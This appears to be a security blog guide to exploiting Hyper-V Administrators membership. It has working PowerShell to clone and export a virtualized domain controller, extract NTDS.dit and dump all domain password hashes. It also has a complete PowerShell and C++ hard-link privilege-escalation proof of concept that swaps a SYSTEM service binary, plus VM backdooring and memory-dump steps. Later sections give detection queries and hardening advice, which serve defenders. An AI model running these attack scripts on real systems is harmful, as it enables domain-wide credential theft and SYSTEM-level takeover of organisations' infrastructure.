Hyper-V Administrators exploitation showing virtual machine manipulation and domain controller compromise

Hyper-V Administrators Group Exploitation

Comprehensive guide to exploiting Hyper-V Administrators group membership — from VM manipulation to privilege escalation and domain compromise techniques.

Jan 22, 2026
Updated Dec 11, 2025
2 min read

Introduction

The Hyper-V Administrators group is a built-in local security group introduced in Windows Server 2008 R2 and Windows 8 that grants members complete control over all Hyper-V features and virtual machines. While this group is designed to allow delegation of virtualization management without granting full Domain Admin or Enterprise Admin rights, it creates severe security implications, particularly in environments where Domain Controllers have been virtualized.

Critical Risk

If Domain Controllers are virtualized on Hyper-V, members of the Hyper-V Administrators group should be considered Domain Admins. They have the capability to clone live DCs, extract the NTDS.dit database offline, and compromise the entire Active Directory forest.

Understanding Hyper-V Administrators

What is Hyper-V Administrators?

The Hyper-V Administrators group provides:

  • Full access to Hyper-V management tools and APIs
  • Ability to create, modify, and delete virtual machines
  • Access to virtual machine configuration files
  • Control over virtual hard disks (VHD/VHDX files)
  • Management of virtual networks and switches
  • Snapshot and checkpoint management
  • VM export and import capabilities

Default Capabilities:

  • Create and manage VMs without administrator rights
  • Access VM console (vmconnect.exe)
  • Modify VM settings and resources
  • Control VM lifecycle (start, stop, pause, reset)
  • Access and modify virtual hard disk files
  • Take VM snapshots and checkpoints
  • Export and import virtual machines

Well-Known SID:

  • S-1-5-32-578

Default Members:

  • None (group is empty by default)

Why Organizations Use This Group

Organizations assign Hyper-V Administrators membership for several reasons:

  1. Separation of Duties

    • Dedicated virtualization team without full system admin rights
    • Allow VM management without domain-level privileges
    • Delegate specific virtualization responsibilities
  2. Service Accounts

    • Automated VM provisioning and orchestration
    • Backup and disaster recovery solutions
    • Monitoring and management platforms
    • Cloud management gateways
  3. Development and Testing

    • Developers managing development VMs
    • Test environment administrators
    • DevOps automation accounts
  4. Outsourced Management

    • Third-party vendors managing infrastructure
    • Managed service providers
    • Contractors and consultants

Security Misconception

Many organizations treat Hyper-V Administrators as a "lower privilege" administrative group, not realizing it can provide paths to Domain Admin and SYSTEM-level access through various exploitation techniques.

Attack Vectors and Techniques

Virtual Machine Cloning for Domain Compromise

The most direct and devastating attack against Hyper-V in enterprise environments targets virtualized Domain Controllers.

Step 1: Identify Virtualized Domain Controllers

# List all VMs on the Hyper-V host
Get-VM | Select-Object Name, State, Path, ComputerName

# Identify likely Domain Controllers
Get-VM | Where-Object {
    $_.Name -like '*DC*' -or
    $_.Name -like '*DomainController*' -or
    $_.Name -match '^DC\d+'
} | Select-Object Name, State, Path

# Check VM networking to identify DC role
Get-VM | ForEach-Object {
    $vm = $_
    $networkAdapters = Get-VMNetworkAdapter -VM $vm
    [PSCustomObject]@{
        VMName = $vm.Name
        State = $vm.State
        IPAddresses = ($networkAdapters.IPAddresses -join ', ')
        SwitchName = ($networkAdapters.SwitchName -join ', ')
    }
} | Format-Table -AutoSize

Step 2: Create VM Checkpoint (Snapshot)

# Create a checkpoint of the running DC
$dcVM = Get-VM -Name "DC01"
Checkpoint-VM -VM $dcVM -SnapshotName "PreExtraction_$(Get-Date -Format 'yyyyMMdd_HHmmss')"

Write-Host "[+] Created checkpoint of DC VM"

Why Checkpoint?

Creating a checkpoint before any manipulation:

  • Allows for easy restoration if something goes wrong
  • Preserves the current state
  • Enables offline analysis without impacting production
  • Provides plausible deniability ("just a backup")

Step 3: Export the Virtual Machine

# Export VM to accessible location
$exportPath = "C:\Temp\DCExport"
Export-VM -Name "DC01" -Path $exportPath

Write-Host "[+] Exported DC VM to: $exportPath"

# Alternative: Copy just the VHD files
$vm = Get-VM -Name "DC01"
$vhdPaths = $vm.HardDrives.Path

foreach ($vhd in $vhdPaths) {
    Copy-Item -Path $vhd -Destination "C:\Temp\DC_Disks\" -Force
    Write-Host "[+] Copied: $vhd"
}

Step 4: Mount VHD Offline

# Mount the VHD file
$vhdPath = "C:\Temp\DCExport\DC01\Virtual Hard Disks\DC01.vhdx"
$mountedDisk = Mount-VHD -Path $vhdPath -ReadOnly -PassThru

# Get drive letter
$driveLetter = ($mountedDisk | Get-Disk | Get-Partition | Get-Volume).DriveLetter

Write-Host "[+] Mounted VHD at drive: $($driveLetter):"

Step 5: Extract NTDS.dit and SYSTEM Hive

# Copy NTDS.dit database
$ntdsSource = "${driveLetter}:\Windows\NTDS\ntds.dit"
$systemSource = "${driveLetter}:\Windows\System32\config\SYSTEM"

Copy-Item -Path $ntdsSource -Destination "C:\Temp\Loot\ntds.dit"
Copy-Item -Path $systemSource -Destination "C:\Temp\Loot\SYSTEM"

Write-Host "[+] Extracted NTDS.dit and SYSTEM hive"

# Dismount VHD
Dismount-VHD -Path $vhdPath

Step 6: Extract Domain Credentials

# On attack system with impacket-secretsdump
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

# Alternative: Use DSInternals PowerShell module
Import-Module DSInternals

$bootKey = Get-BootKey -SystemHivePath "C:\Temp\Loot\SYSTEM"
$ntdsDB = Get-ADDBAccount -All -DatabasePath "C:\Temp\Loot\ntds.dit" -BootKey $bootKey

# Export all hashes
$ntdsDB | ForEach-Object {
    [PSCustomObject]@{
        SamAccountName = $_.SamAccountName
        NTHash = ($_.NTHash | ForEach-Object { $_.ToString("X2") }) -join ''
        LMHash = ($_.LMHash | ForEach-Object { $_.ToString("X2") }) -join ''
        Enabled = $_.Enabled
        AdminCount = $_.AdminCount
    }
} | Export-Csv -Path "C:\Temp\Loot\domain_hashes.csv" -NoTypeInformation

Write-Host "[+] Extracted $(($ntdsDB | Measure-Object).Count) account hashes"

Impact:

  • Complete compromise of Active Directory domain
  • Access to all user credentials (including Domain Admins)
  • Ability to create golden tickets for persistent access
  • Lateral movement to any domain-joined system

A well-documented technique leverages how the Hyper-V VM Management Service (vmms.exe) handles file permissions when deleting VHD files.

Understanding the Vulnerability

When a VHD/VHDX file is deleted:

  1. The vmms.exe process (running as SYSTEM) attempts to restore original file permissions
  2. This permission restoration occurs without impersonating the user
  3. By replacing the VHD with an NT hard link to a protected file, we can cause SYSTEM to grant us permissions on arbitrary files

Patched Vulnerability

This specific NT hard link attack was mitigated in March 2020 Windows updates. However, understanding the technique remains valuable for:

  • Testing against unpatched systems
  • Demonstrating conceptual risk
  • Developing similar exploitation patterns

Attack Workflow

Create Dummy VM with VHD

# Create a new VM with a small VHD
$vmName = "ExploitVM"
$vhdPath = "C:\Users\Public\exploit.vhdx"

# Create VHD
New-VHD -Path $vhdPath -SizeBytes 10MB -Dynamic

# Create VM
New-VM -Name $vmName -MemoryStartupBytes 512MB -VHDPath $vhdPath -Generation 2

Write-Host "[+] Created VM: $vmName with VHD: $vhdPath"

Delete the VHD File

# Stop and remove the VM
Stop-VM -Name $vmName -Force
Remove-VM -Name $vmName -Force

# Delete the VHD file manually
Remove-Item -Path $vhdPath -Force

Write-Host "[+] Deleted VHD file"
# Target: A service binary we want to replace
$targetFile = "C:\Program Files\Mozilla Maintenance Service\maintenanceservice.exe"

# Create hard link where VHD was
cmd /c mklink /H "C:\Users\Public\exploit.vhdx" $targetFile

Write-Host "[+] Created hard link to: $targetFile"

Delete VM (Triggers Permission Restoration)

# When Hyper-V deletes the "VHD" (actually our hardlink),
# vmms.exe restores permissions as SYSTEM on the linked file
Remove-VM -Name $vmName -Force

Write-Host "[+] SYSTEM permission restoration triggered on target file"

Verify and Exploit New Permissions

# Check new permissions on target
Get-Acl "C:\Program Files\Mozilla Maintenance Service\maintenanceservice.exe" | Format-List

# Take ownership
takeown /F "C:\Program Files\Mozilla Maintenance Service\maintenanceservice.exe"

# Replace with malicious binary
Copy-Item C:\Temp\malicious.exe -Destination "C:\Program Files\Mozilla Maintenance Service\maintenanceservice.exe" -Force

# Start the service
Start-Service MozillaMaintenance

# Service now runs your code as SYSTEM

Target Files for Exploitation:

  • Service binaries (running as SYSTEM)
  • System configuration files
  • Registry hive files (if accessible)
  • Protected system files in System32

Complete PowerShell PoC

function Invoke-HyperVHardLinkEscalation {
    [CmdletBinding()]
    param(
        [Parameter(Mandatory=$true)]
        [string]$TargetFile,

        [string]$TempVHDPath = "C:\Users\Public\exploit_$(Get-Random).vhdx",

        [string]$VMName = "TempVM_$(Get-Random)"
    )

    Write-Host "[*] Hyper-V Hard Link Privilege Escalation PoC" -ForegroundColor Cyan
    Write-Host "[*] Target File: $TargetFile" -ForegroundColor Cyan

    # Verify Hyper-V Administrators membership
    $currentUser = [Security.Principal.WindowsIdentity]::GetCurrent()
    $principal = New-Object Security.Principal.WindowsPrincipal($currentUser)
    $hypervAdminSID = New-Object Security.Principal.SecurityIdentifier("S-1-5-32-578")
    $hypervAdmin = $principal.IsInRole($hypervAdminSID)

    if (-not $hypervAdmin) {
        Write-Warning "Current user is not a member of Hyper-V Administrators"
        return
    }

    Write-Host "[+] Confirmed Hyper-V Administrators membership" -ForegroundColor Green

    # Step 1: Create temporary VHD
    Write-Host "[*] Creating temporary VHD..." -ForegroundColor Yellow

    try {
        New-VHD -Path $TempVHDPath -SizeBytes 10MB -Dynamic -ErrorAction Stop | Out-Null
        Write-Host "[+] VHD created: $TempVHDPath" -ForegroundColor Green
    } catch {
        Write-Error "Failed to create VHD: $_"
        return
    }

    # Step 2: Create temporary VM
    Write-Host "[*] Creating temporary VM..." -ForegroundColor Yellow

    try {
        New-VM -Name $VMName -MemoryStartupBytes 512MB -VHDPath $TempVHDPath -Generation 2 -ErrorAction Stop | Out-Null
        Write-Host "[+] VM created: $VMName" -ForegroundColor Green
    } catch {
        Write-Error "Failed to create VM: $_"
        Remove-Item -Path $TempVHDPath -Force -ErrorAction SilentlyContinue
        return
    }

    # Step 3: Remove VM (but not VHD yet)
    Write-Host "[*] Removing VM..." -ForegroundColor Yellow

    try {
        Remove-VM -Name $VMName -Force -ErrorAction Stop
        Write-Host "[+] VM removed" -ForegroundColor Green
    } catch {
        Write-Error "Failed to remove VM: $_"
        return
    }

    # Step 4: Delete VHD file
    Write-Host "[*] Deleting VHD file..." -ForegroundColor Yellow

    Remove-Item -Path $TempVHDPath -Force

    # Step 5: Create hard link to target
    Write-Host "[*] Creating NT hard link to target file..." -ForegroundColor Yellow

    $mklink = cmd /c mklink /H "`"$TempVHDPath`"" "`"$TargetFile`"" 2>&1

    if ($LASTEXITCODE -eq 0) {
        Write-Host "[+] Hard link created successfully" -ForegroundColor Green
    } else {
        Write-Error "Failed to create hard link: $mklink"
        return
    }

    # Step 6: Trigger permission restoration by accessing the file through Hyper-V
    Write-Host "[*] Triggering permission restoration..." -ForegroundColor Yellow

    try {
        # Create another VM pointing to our hardlink
        New-VM -Name "${VMName}_2" -MemoryStartupBytes 512MB -VHDPath $TempVHDPath -Generation 2 -ErrorAction Stop | Out-Null
        Start-Sleep -Seconds 2
        Remove-VM -Name "${VMName}_2" -Force -ErrorAction Stop
        Remove-Item -Path $TempVHDPath -Force -ErrorAction SilentlyContinue

        Write-Host "[+] Permission restoration triggered" -ForegroundColor Green
    } catch {
        Write-Warning "Trigger process encountered issues: $_"
    }

    # Step 7: Verify new permissions
    Write-Host "[*] Verifying new permissions..." -ForegroundColor Yellow

    try {
        $acl = Get-Acl $TargetFile -ErrorAction Stop
        $currentUserRights = $acl.Access | Where-Object {
            $_.IdentityReference -eq $currentUser.Name
        }

        if ($currentUserRights) {
            Write-Host "[+] SUCCESS! New permissions on target file:" -ForegroundColor Green
            $currentUserRights | Format-Table -AutoSize

            Write-Host "`n[*] You can now:" -ForegroundColor Cyan
            Write-Host "  1. Take ownership: takeown /F `"$TargetFile`"" -ForegroundColor White
            Write-Host "  2. Grant full control: icacls `"$TargetFile`" /grant ${env:USERNAME}:F" -ForegroundColor White
            Write-Host "  3. Modify the file for privilege escalation" -ForegroundColor White

        } else {
            Write-Warning "No new permissions detected. Exploit may have failed."
        }
    } catch {
        Write-Error "Failed to check permissions: $_"
    }

    Write-Host "`n[!] Remember to restore original permissions after testing!" -ForegroundColor Red
}

# Example usage
# Invoke-HyperVHardLinkEscalation -TargetFile "C:\Program Files\SomeService\service.exe"

Native C++ Implementation

#include <windows.h>
#include <stdio.h>
#include <aclapi.h>

#define TARGET_FILE L"C:\\Program Files\\Mozilla Maintenance Service\\maintenanceservice.exe"
#define TEMP_VHD L"C:\\Users\\Public\\exploit.vhdx"

BOOL CreateHardLinkToTarget() {
    // Delete temp VHD if it exists
    DeleteFileW(TEMP_VHD);

    // Create hard link
    if (CreateHardLinkW(TEMP_VHD, TARGET_FILE, NULL)) {
        wprintf(L"[+] Created hard link: %s -> %s\n", TEMP_VHD, TARGET_FILE);
        return TRUE;
    } else {
        wprintf(L"[-] Failed to create hard link: %d\n", GetLastError());
        return FALSE;
    }
}

BOOL TriggerPermissionRestoration() {
    // Use Hyper-V PowerShell cmdlets via WMI/COM
    // This is simplified - actual implementation would use Hyper-V WMI classes

    // Create VM
    wchar_t cmd[512];
    swprintf_s(cmd, 512,
        L"powershell.exe -Command \"New-VM -Name ExploitVM -MemoryStartupBytes 512MB -VHDPath '%s' -Generation 2\"",
        TEMP_VHD);

    STARTUPINFOW si = {sizeof(si)};
    PROCESS_INFORMATION pi;

    if (!CreateProcessW(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
        wprintf(L"[-] Failed to create VM\n");
        return FALSE;
    }

    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    // Remove VM (triggers permission restoration)
    swprintf_s(cmd, 512,
        L"powershell.exe -Command \"Remove-VM -Name ExploitVM -Force\"");

    if (!CreateProcessW(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
        wprintf(L"[-] Failed to remove VM\n");
        return FALSE;
    }

    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    wprintf(L"[+] Triggered permission restoration\n");
    return TRUE;
}

BOOL VerifyPermissions() {
    PSECURITY_DESCRIPTOR pSD = NULL;
    PACL pDacl = NULL;
    DWORD dwRes;

    dwRes = GetNamedSecurityInfoW(
        TARGET_FILE,
        SE_FILE_OBJECT,
        DACL_SECURITY_INFORMATION,
        NULL,
        NULL,
        &pDacl,
        NULL,
        &pSD
    );

    if (dwRes != ERROR_SUCCESS) {
        wprintf(L"[-] GetNamedSecurityInfo failed: %d\n", dwRes);
        return FALSE;
    }

    // Check if we have new permissions
    BOOL hasAccess = FALSE;
    GENERIC_MAPPING genericMapping;
    PRIVILEGE_SET privilegeSet;
    DWORD privilegeSetLength = sizeof(PRIVILEGE_SET);
    DWORD grantedAccess;
    BOOL accessStatus;

    ZeroMemory(&genericMapping, sizeof(GENERIC_MAPPING));
    genericMapping.GenericRead = FILE_GENERIC_READ;
    genericMapping.GenericWrite = FILE_GENERIC_WRITE;
    genericMapping.GenericExecute = FILE_GENERIC_EXECUTE;
    genericMapping.GenericAll = FILE_ALL_ACCESS;

    HANDLE hToken;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
        LocalFree(pSD);
        return FALSE;
    }

    if (AccessCheck(pSD, hToken, FILE_ALL_ACCESS, &genericMapping,
                    &privilegeSet, &privilegeSetLength, &grantedAccess, &accessStatus)) {
        if (accessStatus) {
            wprintf(L"[+] SUCCESS! We have access to the target file\n");
            hasAccess = TRUE;
        }
    }

    CloseHandle(hToken);
    LocalFree(pSD);

    return hasAccess;
}

int wmain(int argc, wchar_t *argv[]) {
    wprintf(L"[*] Hyper-V Hard Link Privilege Escalation PoC\n");
    wprintf(L"[*] Target: %s\n\n", TARGET_FILE);

    if (!CreateHardLinkToTarget()) {
        return 1;
    }

    if (!TriggerPermissionRestoration()) {
        return 1;
    }

    Sleep(2000);  // Give system time to apply permissions

    if (VerifyPermissions()) {
        wprintf(L"\n[+] Exploitation successful!\n");
        wprintf(L"[*] You can now take ownership and modify the target file\n");
        return 0;
    } else {
        wprintf(L"\n[-] Exploitation failed\n");
        return 1;
    }
}

Detecting NT Hard Link Attacks

Detection strategies for this attack vector:

1. Monitor File System Changes

# Enable file system auditing on critical directories
$paths = @(
    "C:\Program Files",
    "C:\Program Files (x86)",
    "C:\Windows\System32"
)

foreach ($path in $paths) {
    $acl = Get-Acl $path
    $auditRule = New-Object System.Security.AccessControl.FileSystemAuditRule(
        "Everyone",
        "ChangePermissions,TakeOwnership,WriteData",
        "ContainerInherit,ObjectInherit",
        "None",
        "Success,Failure"
    )
    $acl.AddAuditRule($auditRule)
    Set-Acl -Path $path -AclObject $acl
}

2. Monitor Hyper-V Operations

# Enable Hyper-V operational logging
wevtutil sl Microsoft-Windows-Hyper-V-VMMS-Operational /e:true

# Query for suspicious VM creation/deletion patterns
Get-WinEvent -LogName Microsoft-Windows-Hyper-V-VMMS-Operational |
    Where-Object {$_.Id -in @(12000, 12002, 13000, 13002)} |  # VM created/deleted
    Select-Object TimeCreated, Id, Message |
    Group-Object {$_.TimeCreated.ToString("yyyy-MM-dd HH:mm")} |
    Where-Object {$_.Count -gt 5} |  # Multiple VMs created/deleted in same minute
    Format-Table -AutoSize

3. Detect Hard Link Creation

# Monitor for mklink usage
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688} |
    Where-Object {$_.Properties[5].Value -like '*cmd.exe' -and
                  $_.Properties[8].Value -like '*mklink*'} |
    Select-Object TimeCreated,
        @{Name='User';Expression={$_.Properties[1].Value}},
        @{Name='CommandLine';Expression={$_.Properties[8].Value}} |
    Format-Table -Wrap -AutoSize

4. File Permission Change Monitoring

// Azure Sentinel / KQL query
SecurityEvent
| where EventID == 4670  // Permissions changed
| where ObjectType == "File"
| where ObjectName contains "Program Files" or ObjectName contains "System32"
| where SubjectUserName == "SYSTEM"  // VMMS runs as SYSTEM
| summarize Count = count(),
            Files = make_set(ObjectName, 10)
    by TimeGenerated, Computer
| where Count > 5

VM Configuration File Manipulation

Virtual machine configuration files contain sensitive information and can be modified to compromise VMs.

VM Configuration Files:

  • .vmcx (VM configuration)
  • .vmrs (VM runtime state)
  • .vmgs (VM guest state)
  • .xml (legacy configuration format)

Locate VM Configuration Files

# Find all VM configuration files
Get-VM | ForEach-Object {
    [PSCustomObject]@{
        VMName = $_.Name
        ConfigPath = $_.ConfigurationLocation
        State = $_.State
        Version = $_.Version
    }
} | Format-Table -AutoSize

# List files in VM directory
$vm = Get-VM -Name "TargetVM"
Get-ChildItem -Path $vm.Path -Recurse | Select-Object FullName, Length, LastWriteTime

Extract Sensitive Information

# VHD/VHDX paths (may contain shared storage credentials)
$vm = Get-VM -Name "TargetVM"
$vm.HardDrives | Select-Object Path, ControllerType, ControllerLocation

# Network configuration
Get-VMNetworkAdapter -VM $vm | Select-Object Name, SwitchName, MacAddress, IPAddresses

# Integration services (may reveal tools and access methods)
Get-VMIntegrationService -VM $vm | Where-Object {$_.Enabled} | Select-Object Name, Enabled

Modify VM Configuration for Backdoor

# Add your user to VM console access
$vm = Get-VM -Name "TargetVM"
$acl = Get-Acl "\\.\pipe\$($vm.Id)"
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule(
    $env:USERNAME,
    "FullControl",
    "Allow"
)
$acl.AddAccessRule($rule)
Set-Acl -Path "\\.\pipe\$($vm.Id)" -AclObject $acl

# Modify VM to auto-start with malicious changes
Set-VM -Name "TargetVM" -AutomaticStartAction Start

Credential Theft from VM Memory

Running VMs have their memory accessible to Hyper-V Administrators.

# Create VM memory dump
$vm = Get-VM -Name "TargetVM"

if ($vm.State -eq "Running") {
    # Pause VM
    Save-VM -Name "TargetVM"

    # Create checkpoint (contains memory state)
    Checkpoint-VM -Name "TargetVM" -SnapshotName "MemDump_$(Get-Date -Format 'yyyyMMdd_HHmmss')"

    # Resume VM
    Start-VM -Name "TargetVM"

    # Access snapshot files
    $vmPath = $vm.Path
    $snapshots = Get-ChildItem -Path "$vmPath\Snapshots" -Recurse

    Write-Host "[+] Snapshot files created:"
    $snapshots | Where-Object {$_.Extension -in @('.bin','.vsv','.vmrs')} | Select-Object FullName
}

# Alternative: Use Save-VM to create memory dump
Save-VM -Name "TargetVM"
# Memory is now in .bin and .vsv files
# Can be analyzed with tools like Volatility

Detection and Monitoring

Monitoring Hyper-V Operations

Virtual Machine Lifecycle Events

Monitor VM creation, deletion, and modification:

// Hyper-V operational log monitoring
Event
| where EventLog == "Microsoft-Windows-Hyper-V-VMMS-Operational"
| where EventID in (
    12000,  // VM created
    12002,  // VM deleted
    13000,  // VM config changed
    18300,  // VM export started
    18302   // VM import started
)
| extend VMName = tostring(parse_xml(EventData).EventData.Data)
| project TimeGenerated, Computer, EventID, VMName, UserName
| summarize Count = count(),
            FirstSeen = min(TimeGenerated),
            LastSeen = max(TimeGenerated)
    by Computer, VMName, EventID, UserName
| where Count > 1 or EventID in (18300, 18302)

Alert Criteria:

  • Multiple VM creations/deletions in short time period
  • VM exports (especially of DCs)
  • VM operations outside business hours
  • VM operations by non-administrative accounts

VHD File Access Monitoring

Track access to virtual hard disk files:

# Enable auditing on VHD storage locations
$vhdPaths = Get-VM | ForEach-Object { Split-Path $_.HardDrives.Path -Parent } | Select-Object -Unique

foreach ($path in $vhdPaths) {
    $acl = Get-Acl $path
    $auditRule = New-Object System.Security.AccessControl.FileSystemAuditRule(
        "Everyone",
        "Read,Write,Delete,TakeOwnership",
        "ContainerInherit,ObjectInherit",
        "None",
        "Success"
    )
    $acl.AddAuditRule($auditRule)
    Set-Acl -Path $path -AclObject $acl
}

Write-Host "[+] Enabled auditing on VHD storage locations"

Detection Query:

SecurityEvent
| where EventID == 4663  // Object access
| where ObjectName endswith ".vhdx" or ObjectName endswith ".vhd"
| where AccessMask contains "0x2"  // Write access
| where SubjectUserName !in ("SYSTEM", "NETWORK SERVICE")
| project TimeGenerated, Computer, SubjectUserName, ObjectName, ProcessName
| summarize AccessCount = count(),
            Files = make_set(ObjectName)
    by Computer, SubjectUserName, bin(TimeGenerated, 1h)
| where AccessCount > 5

Checkpoint and Snapshot Monitoring

Checkpoints can be used to extract credentials:

# Monitor for checkpoint creation
Get-WinEvent -FilterHashtable @{
    LogName = 'Microsoft-Windows-Hyper-V-VMMS-Operational'
    ID = 13000  # VM configuration changed (includes checkpoints)
} | Where-Object {$_.Message -like '*snapshot*' -or $_.Message -like '*checkpoint*'} |
    Select-Object TimeCreated, Message

# Alert on checkpoints of critical VMs
$criticalVMs = @("DC01", "DC02", "FileServer01")

Get-VM | Where-Object {$_.Name -in $criticalVMs} | ForEach-Object {
    $checkpoints = Get-VMSnapshot -VM $_
    if ($checkpoints) {
        [PSCustomObject]@{
            VMName = $_.Name
            CheckpointCount = $checkpoints.Count
            LatestCheckpoint = ($checkpoints | Sort-Object CreationTime -Descending | Select-Object -First 1).CreationTime
            CheckpointNames = ($checkpoints.Name -join ', ')
        }
    }
} | Format-Table -AutoSize

Hyper-V Administrators Group Membership Changes

# Monitor group membership changes
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4732,4733} |
    Where-Object {$_.Message -like '*Hyper-V Administrators*'} |
    Select-Object TimeCreated,
        @{Name='Action';Expression={
            if ($_.Id -eq 4732) {'Added'} else {'Removed'}
        }},
        @{Name='Member';Expression={
            ($_.Properties[0].Value)
        }},
        @{Name='Group';Expression={'Hyper-V Administrators'}},
        @{Name='ModifiedBy';Expression={$_.Properties[6].Value}} |
    Format-Table -AutoSize

Detection Logic:

SecurityEvent
| where EventID in (4732, 4733)  // Member added/removed
| extend GroupName = tostring(EventData.TargetUserName)
| where GroupName == "Hyper-V Administrators"
| extend MemberAdded = tostring(EventData.MemberName)
| extend ModifiedBy = tostring(EventData.SubjectUserName)
| project TimeGenerated, Computer,
          Action = iff(EventID == 4732, "Added", "Removed"),
          MemberAdded, ModifiedBy

Mitigation and Hardening

Eliminate Virtualized Domain Controllers

Best Practice

The single most effective mitigation: Do not virtualize Domain Controllers on Hyper-V where non-Domain Admins have Hyper-V Administrators access.

Alternatives:

  1. Physical Domain Controllers: Deploy DCs on dedicated physical hardware
  2. Separate Virtualization Infrastructure: Use different hypervisor for DCs (VMware, etc.) managed by different team
  3. Azure AD DS: Leverage Azure Active Directory Domain Services for hybrid environments
  4. Restricted Hyper-V Hosts: Dedicate specific Hyper-V hosts for DCs with strict access controls

Principle of Least Privilege

Audit Current Membership

# Check local Hyper-V Administrators
Get-LocalGroupMember -Group "Hyper-V Administrators"

# Export for review
Get-LocalGroupMember -Group "Hyper-V Administrators" |
    Select-Object Name, PrincipalSource, ObjectClass |
    Export-Csv -Path C:\Temp\HyperV_Admins_Audit.csv -NoTypeInformation

# Domain-wide audit (if applicable)
Get-ADGroupMember -Identity "Hyper-V Administrators" -Recursive |
    Select-Object Name, SamAccountName, ObjectClass |
    Export-Csv -Path C:\Temp\HyperV_Admins_Domain_Audit.csv -NoTypeInformation

Remove Unnecessary Members

# Remove specific user
Remove-LocalGroupMember -Group "Hyper-V Administrators" -Member "CORP\john.smith"

# Remove all non-service accounts
Get-LocalGroupMember -Group "Hyper-V Administrators" |
    Where-Object {$_.Name -notlike '*svc*' -and $_.ObjectClass -eq 'User'} |
    ForEach-Object {
        Remove-LocalGroupMember -Group "Hyper-V Administrators" -Member $_.Name
        Write-Host "[*] Removed: $($_.Name)"
    }

Implement Just-In-Time Access

function Grant-TemporaryHyperVAccess {
    param(
        [string]$UserName,
        [int]$Hours = 2,
        [string]$Justification
    )

    # Log request
    $logEntry = @{
        Timestamp = Get-Date
        User = $UserName
        GrantedBy = $env:USERNAME
        Duration = $Hours
        Justification = $Justification
    }

    $logEntry | Export-Csv -Path "C:\Logs\HyperV_JIT_Access.csv" -Append -NoTypeInformation

    # Grant access
    Add-LocalGroupMember -Group "Hyper-V Administrators" -Member $UserName
    Write-Host "[+] Granted Hyper-V Administrators to $UserName for $Hours hours"

    # Schedule removal
    $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -Command `"Remove-LocalGroupMember -Group 'Hyper-V Administrators' -Member '$UserName'; Write-EventLog -LogName Application -Source 'HyperV-JIT' -EventId 1001 -Message 'Removed $UserName from Hyper-V Administrators (JIT expired)'`""

    $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddHours($Hours)
    $principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest

    Register-ScheduledTask -TaskName "RemoveHyperVAccess_$($UserName.Replace('\','_'))_$(Get-Date -Format 'yyyyMMddHHmmss')" `
        -Action $action `
        -Trigger $trigger `
        -Principal $principal `
        -Force | Out-Null

    Write-Host "[+] Access will expire at: $((Get-Date).AddHours($Hours))"
}

# Usage
Grant-TemporaryHyperVAccess -UserName "CORP\helpdesk" -Hours 2 -Justification "Troubleshoot VM performance issue Ticket#12345"

VHD/VHDX Access Control

Implement strict file system permissions on VM storage:

# Function to lock down VHD storage
function Set-VHDStoragePermissions {
    param(
        [string[]]$VHDPaths
    )

    foreach ($path in $VHDPaths) {
        if (Test-Path $path) {
            # Get current ACL
            $acl = Get-Acl $path

            # Disable inheritance
            $acl.SetAccessRuleProtection($true, $false)

            # Remove all existing rules
            $acl.Access | ForEach-Object { $acl.RemoveAccessRule($_) }

            # Add SYSTEM - Full Control
            $systemRule = New-Object System.Security.AccessControl.FileSystemAccessRule(
                "SYSTEM",
                "FullControl",
                "ContainerInherit,ObjectInherit",
                "None",
                "Allow"
            )
            $acl.AddAccessRule($systemRule)

            # Add Administrators - Full Control
            $adminRule = New-Object System.Security.AccessControl.FileSystemAccessRule(
                "Administrators",
                "FullControl",
                "ContainerInherit,ObjectInherit",
                "None",
                "Allow"
            )
            $acl.AddAccessRule($adminRule)

            # Add Hyper-V Administrators - Read/Execute Only
            $hypervRule = New-Object System.Security.AccessControl.FileSystemAccessRule(
                "Hyper-V Administrators",
                "ReadAndExecute",
                "ContainerInherit,ObjectInherit",
                "None",
                "Allow"
            )
            $acl.AddAccessRule($hypervRule)

            # Apply ACL
            Set-Acl -Path $path -AclObject $acl

            Write-Host "[+] Locked down: $path"
        }
    }
}

# Get all VHD storage paths
$vhdPaths = Get-VM | ForEach-Object { Split-Path $_.HardDrives.Path -Parent } | Select-Object -Unique

# Apply restrictive permissions
Set-VHDStoragePermissions -VHDPaths $vhdPaths

VM Encryption

Enable VM encryption to protect against offline VHD access:

# Enable VM encryption (requires Windows Server 2016+)
$vm = Get-VM -Name "SensitiveVM"

# Enable TPM for the VM
Enable-VMTPM -VM $vm

# Enable Shielding
Set-VMSecurity -VM $vm -Shielded $true

# Verify encryption
Get-VMSecurity -VM $vm | Select-Object VMName, Shielded, EncryptStateAndVmMigrationTraffic

Hyper-V Host Hardening

Disable Unnecessary Hyper-V Features

# Disable guest service interface (if not needed)
Get-VM | Get-VMIntegrationService -Name "Guest Service Interface" | Disable-VMIntegrationService

# Restrict VM console connections
Get-VM | Set-VMSecurity -EnableVirtualizationBasedSecurity $true

Configure Enhanced Session Mode Restrictions

# Disable enhanced session mode to prevent clipboard/file sharing
Set-VMHost -EnableEnhancedSessionMode $false

Implement Network Segmentation

# Create isolated management network for critical VMs
New-VMSwitch -Name "Management-Isolated" -SwitchType Internal

# Assign critical VMs to isolated network
Get-VM -Name "DC01" | Get-VMNetworkAdapter | Connect-VMNetworkAdapter -SwitchName "Management-Isolated"

Audit and Logging

Enable comprehensive Hyper-V logging:

# Enable all Hyper-V logs
$hypervLogs = @(
    'Microsoft-Windows-Hyper-V-VMMS-Admin',
    'Microsoft-Windows-Hyper-V-VMMS-Operational',
    'Microsoft-Windows-Hyper-V-Worker-Admin',
    'Microsoft-Windows-Hyper-V-VmSwitch-Operational'
)

foreach ($log in $hypervLogs) {
    wevtutil sl $log /e:true
    wevtutil sl $log /ms:104857600  # 100 MB max size
    Write-Host "[+] Enabled: $log"
}

# Increase Security log size for auditing
wevtutil sl Security /ms:1073741824  # 1 GB

